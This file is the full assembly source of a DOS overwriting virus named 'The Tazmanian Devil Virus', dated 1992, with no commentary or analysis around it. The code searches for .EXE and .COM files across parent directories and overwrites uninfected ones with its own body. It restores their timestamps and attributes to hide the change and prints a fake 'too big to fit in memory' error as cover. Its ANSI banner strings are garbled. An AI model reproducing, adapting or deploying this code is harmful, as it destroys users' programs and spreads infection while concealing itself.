2022-08-21 09:07:57 +00:00
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cr equ 13 ; Carriage return ASCII code
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lf equ 10 ; Linefeed ASCII code
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tab equ 9 ; Tab ASCII code
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virus_size equ 562 ; Size of the virus file
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code_start equ 100h ; Address right after PSP in memory
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dta equ 80h ; Addr of default disk transfer area
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datestamp equ 24 ; Offset in DTA of file's date stamp
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timestamp equ 22 ; Offset in DTA of file's time stamp
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filename equ 30 ; Offset in DTA of ASCIIZ filename
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attribute equ 21 ; Offset in DTA of file attribute
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code segment 'code' ; Open code segment
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assume cs:code,ds:code ; One segment for both code & data
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org code_start ; Start code image after PSP
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main proc near ; Code execution begins here
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jmp random_mutation ; Put the virus into action
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encrypt_val db 00h ; Hold value to encrypt by here
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infect_file:
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mov bx,handle ; Get the handle
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push bx ; Save it on the stack
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pop bx ; Get back the handle
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mov cx,virus_size ; Total number of bytes to write
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mov dx,code_start ; Buffer where code starts in memory
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mov ah,40h ; DOS write-to-handle service
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int 21h ; Write the virus code into the file
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ret ; Go back to where you came from
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virus_code:
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exe_filespec db "*.EXE",0
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com_filespec db "*.COM",0
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newdir db "..",0
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fake_msg db cr,lf,"Error #2307 - Too big to fit in memory$"
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virus_msg1 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg2 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg3 db cr,lf,tab," <20><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg4 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> $"
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virus_msg5 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD> <20> $"
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virus_msg6 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> $"
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virus_msg7 db cr,lf,tab," <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg8 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg9 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg10 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg11 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg12 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg13 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg14 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg15 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg16 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg17 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg18 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg19 db cr,lf,tab,"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg20 db cr,lf,tab," <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $"
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virus_msg21 db cr,lf,tab," <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> $"
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virus_msg22 db cr,lf,tab,"The Tazmanian Devil Virus (TAZ!) - Released 12-14-1992 - Sector Infector $"
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compare_buf db 20 dup (?) ; Buffer to compare files in
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files_found db ?
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files_infected db ?
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orig_time dw ?
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orig_date dw ?
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orig_attr dw ?
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handle dw ?
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success db ?
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random_mutation: ; First decide if virus is to mutate
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mov ah,2ch ; Set up DOS function to get time
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int 21h
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cmp encrypt_val,0 ; Is this a first-run virus copy?
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je install_val ; If so, install whatever you get.
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cmp dh,15 ; Is it less than 16 seconds?
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jg find_extension ; If not, don't mutate this time
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install_val:
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cmp dl,0 ; Will we be encrypting using zero?
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je random_mutation ; If so, get a new value.
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mov encrypt_val,dl ; Otherwise, save the new value
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find_extension: ; Locate file w/ valid extension
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mov files_found,0 ; Count infected files found
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mov files_infected,4 ; BX counts file infected so far
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mov success,0
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find_exe:
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mov cx,00100111b ; Look for all flat file attributes
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mov dx,offset exe_filespec ; Check for .EXE extension first
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mov ah,4eh ; Call DOS find first service
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int 21h
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cmp ax,12h ; Are no files found?
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je find_com ; If not, nothing more to do
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call find_healthy ; Otherwise, try to find healthy .EXE
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find_com:
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mov cx,00100111b ; Look for all flat file attributes
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mov dx,offset com_filespec ; Check for .COM extension now
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mov ah,4eh ; Call DOS find first service
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int 21h
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cmp ax,12h ; Are no files found?
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je chdir ; If not, step back a directory
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call find_healthy ; Otherwise, try to find healthy .COM
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chdir: ; Routine to step back one level
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mov dx,offset newdir ; Load DX with address of pathname
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mov ah,3bh ; Change directory DOS service
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int 21h
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dec files_infected ; This counts as infecting a file
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jnz find_exe ; If we're still rolling, find another
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jmp exit_virus ; Otherwise let's pack it up
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find_healthy:
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mov bx,dta ; Point BX to address of DTA
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mov ax,[bx]+attribute ; Get the current file's attribute
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mov orig_attr,ax ; Save it
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mov ax,[bx]+timestamp ; Get the current file's time stamp
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mov orig_time,ax ; Save it
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mov ax,[bx]+datestamp ; Get the current file's data stamp
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mov orig_date,ax ; Save it
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mov dx,dta+filename ; Get the filename to change attribute
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mov cx,0 ; Clear all attribute bytes
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mov al,1 ; Set attribute sub-function
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mov ah,43h ; Call DOS service to do it
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int 21h
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mov al,2 ; Set up to open handle for read/write
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mov ah,3dh ; Open file handle DOS service
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int 21h
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mov handle,ax ; Save the file handle
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mov bx,ax ; Transfer the handle to BX for read
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mov cx,20 ; Read in the top 20 bytes of file
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mov dx,offset compare_buf ; Use the small buffer up top
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mov ah,3fh ; DOS read-from-handle service
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int 21h
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mov bx,offset compare_buf ; Adjust the encryption value
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mov ah,encrypt_val ; for accurate comparison
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mov [bx+6],ah
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mov si,code_start ; One array to compare is this file
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mov di,offset compare_buf ; The other array is the buffer
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mov ax,ds ; Transfer the DS register...
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mov es,ax ; ...to the ES register
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cld
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repe cmpsb ; Compare the buffer to the virus
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jne healthy ; If different, the file is healthy!
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call close_file ; Close it up otherwise
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inc files_found ; Chalk up another fucked up file
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continue_search:
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mov ah,4fh ; Find next DOS function
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int 21h ; Try to find another same type file
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cmp ax,12h ; Are there any more files?
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je no_more_found ; If not, get outta here
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jmp find_healthy ; If so, try the process on this one!
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no_more_found:
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ret ; Go back to where we came from
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healthy:
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mov bx,handle ; Get the file handle
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mov ah,3eh ; Close it for now
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int 21h
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mov ah,3dh ; Open it again, to reset it
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mov dx,dta+filename
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mov al,2
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int 21h
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mov handle,ax ; Save the handle again
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call infect_file ; Infect the healthy file
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call close_file ; Close down this operation
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inc success ; Indicate we did something this time
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dec files_infected ; Scratch off another file on agenda
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jz exit_virus ; If we're through, terminate
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jmp continue_search ; Otherwise, try another
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ret
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close_file:
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mov bx,handle ; Get the file handle off the stack
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mov cx,orig_time ; Get the date stamp
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mov dx,orig_date ; Get the time stamp
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mov al,1 ; Set file date/time sub-service
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mov ah,57h ; Get/Set file date and time service
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int 21h ; Call DOS
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mov bx,handle
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mov ah,3eh ; Close handle DOS service
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int 21h
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mov cx,orig_attr ; Get the file's original attribute
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mov al,1 ; Instruct DOS to put it back there
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mov dx,dta+filename ; Feed it the filename
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mov ah,43h ; Call DOS
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int 21h
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ret
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exit_virus:
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cmp files_found,16 ; Are at least 16 files infected?
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jl print_fake ; If not, keep a low profile
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cmp success,0 ; Did we infect anything?
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jg print_fake ; If so, cover it up
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mov ah,09h ; Use DOS print string service
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mov dx,offset virus_msg1 ; Load the address of the first line
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int 21h ; Print it
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mov dx,offset virus_msg2 ; Load the second line
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int 21h ; (etc)
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mov dx,offset virus_msg3
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int 21h
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mov dx,offset virus_msg4
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int 21h
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mov dx,offset virus_msg5
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int 21h
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mov dx,offset virus_msg6
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int 21h
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mov dx,offset virus_msg7
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int 21h
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mov dx,offset virus_msg8
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int 21h
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mov dx,offset virus_msg9
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int 21h
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mov dx,offset virus_msg10
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int 21h
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mov dx,offset virus_msg11
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int 21h
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mov dx,offset virus_msg12
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int 21h
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mov dx,offset virus_msg13
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int 21h
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mov dx,offset virus_msg14
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int 21h
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mov dx,offset virus_msg15
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int 21h
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mov dx,offset virus_msg16
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int 21h
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mov dx,offset virus_msg17
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int 21h
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mov dx,offset virus_msg18
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int 21h
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mov dx,offset virus_msg19
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int 21h
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mov dx,offset virus_msg20
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int 21h
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jmp terminate
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print_fake:
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mov ah,09h ; Use DOS to print fake error message
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mov dx,offset fake_msg
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int 21h
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terminate:
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mov ah,4ch ; DOS terminate process function
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int 21h ; Call DOS to get out of this program
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filler db 8 dup (90h) ; Pad out the file length to 666 bytes
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main endp
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code ends
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end main
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